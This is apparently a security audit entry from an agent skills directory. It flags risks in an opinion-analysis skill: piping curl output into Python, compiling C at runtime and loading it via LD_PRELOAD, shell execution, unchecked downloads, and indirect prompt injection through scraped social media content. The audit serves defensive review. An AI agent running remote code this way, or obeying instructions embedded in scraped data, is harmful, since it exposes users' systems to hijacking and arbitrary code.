The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The core SKILL.md file explicitly guides the AI to use a dangerous execution pattern: fetching remote data via curl and piping it directly into a Python interpreter (e.g., curl -s "https://api.example.com/data" | python). This allows for the execution of arbitrary, unverified code from external servers.
[DYNAMIC_EXECUTION]: The file subskills/docx/scripts/office/soffice.py contains an embedded C source code string that is written to a temporary file and compiled at runtime using gcc. The resulting shared object is then loaded into the environment via LD_PRELOAD to shim system-level socket calls. This is a highly invasive technique used to manipulate process behavior.
[COMMAND_EXECUTION]: The skill frequently executes external binaries and shell scripts through subprocess.run and .sh files, including ffmpeg for video frame extraction, gcc for runtime compilation, and soffice for Word document processing.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest vast amounts of untrusted data from social media platforms (Weibo, Xiaohongshu, Douyin) and general web searches. It lacks explicit boundary markers or sanitization logic to prevent adversarial instructions embedded in this data from hijacking the agent's logic (Category 8).
[EXTERNAL_DOWNLOADS]: The skill performs numerous network operations to non-whitelisted domains to fetch content for opinion analysis, increasing the risk of data exfiltration or ingestion of malicious content.

bettafish-opinion-analysis